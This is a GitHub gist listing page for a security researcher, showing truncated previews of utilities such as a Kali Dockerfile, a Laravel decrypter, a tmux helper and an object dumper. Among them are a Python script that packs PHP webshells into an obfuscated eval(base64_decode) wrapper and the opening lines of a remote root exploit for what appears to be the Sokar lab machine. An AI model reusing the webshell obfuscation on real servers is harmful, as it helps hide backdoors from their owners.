Skip to content

Instantly share code, notes, and snippets.

View leonjza's full-sized avatar
[hip, hip]

Leon Jacobs leonjza

[hip, hip]
View GitHub Profile
@leonjza
leonjza / keybase.md
Created August 24, 2016 16:10
Keybase

Keybase proof

I hereby claim:

  • I am leonjza on github.
  • I am leonjza (https://keybase.io/leonjza) on keybase.
  • I have a public key whose fingerprint is 0087 A89D 911F ACE7 A2AC 31B5 AE1F 2509 6C0C B06B

To claim this, I am signing this object:

@leonjza
leonjza / pack_shell.py
Created June 16, 2016 19:52
PHP Webshell with Packer
import base64
import sys
import re
SHELL = "<?php eval(base64_decode(\"{shell}\"));"
with open(sys.argv[1]) as f:
source = f.readlines()
source = ''.join(source).replace('\n', '')
source = source.replace('<?php', '')
@leonjza
leonjza / Dockerfile
Last active June 9, 2016 17:24
Kali Docker
# Kali Linux (Rolling) Docker Image
# 2016
#
# Build the image with:
# $ docker build -t kali-rolling .
#
# Start a container for the first time from a built image with:
# $ docker run -ti --name kali -h kali kali-rolling
#
# After the first run, start the image with:
@leonjza
leonjza / crypt.php
Last active May 18, 2022 15:34
Laravel ~5.1 encryptor / decryptor.
<?php
/*
* Quick 'n Dirty Laravel 5.1 decrypter.
*
* Based directly off the source code at:
* https://github.com/laravel/framework/blob/5.1/src/Illuminate/Encryption/Encrypter.php
*
* Have access to an application key from a .env?
* Have some encrypted data you want to decrypt?
* Well: (new Crypt($key))->decrypt($payload); should have you sorted
@leonjza
leonjza / keybase.md
Created November 16, 2015 04:38
keybase.md

Keybase proof

I hereby claim:

  • I am leonjza on github.
  • I am leonjza (https://keybase.io/leonjza) on keybase.
  • I have a public key whose fingerprint is 3F1C 12F5 BDEB 6448 FF06 ADE7 289E BFEB 51F2 9A22

To claim this, I am signing this object:

@leonjza
leonjza / cmd.bat
Created September 22, 2015 10:46
Command Prompt Batch
@echo off
title Command Prompt Batch
ver
echo.
:Loop
set /P the="%cd%>"
%the%
echo.
goto loop
@leonjza
leonjza / cache.py
Last active July 14, 2024 11:49
Simple SQLite Cache
#!/usr/bin/python
import os
import errno
import sqlite3
import sys
from time import time
from cPickle import loads, dumps
import logging
@leonjza
leonjza / .bash_profile
Created March 16, 2015 11:08
Update Tmux SSH_AUTH_SOCK
update_auth_sock() {
local socket_path="$(tmux show-environment | sed -n 's/^SSH_AUTH_SOCK=//p')"
if ! [[ "$socket_path" ]]; then
echo 'no socket path' >&2
return 1
else
export SSH_AUTH_SOCK="$socket_path"
fi
}
@leonjza
leonjza / dump.py
Last active September 22, 2022 18:36
Lame Python Object Dumper
def dump(obj, name = None):
for attr in dir(obj):
if hasattr(obj, attr):
print(" * %s.%s = %s" % ('obj' if name is None else name, attr, getattr(obj, attr)))
def noValDump(obj, name = None):
for attr in dir(obj):
if hasattr(obj, attr):
print(" * %s.%s" % ('obj' if name is None else name, attr))
@leonjza
leonjza / root.py
Last active August 29, 2015 14:15
Sokar Remote Root RCE
#!/usr/bin/python
# 2015 Leon Jacobs
# sokar remote root command execution
import requests
import sys
if len(sys.argv) < 2: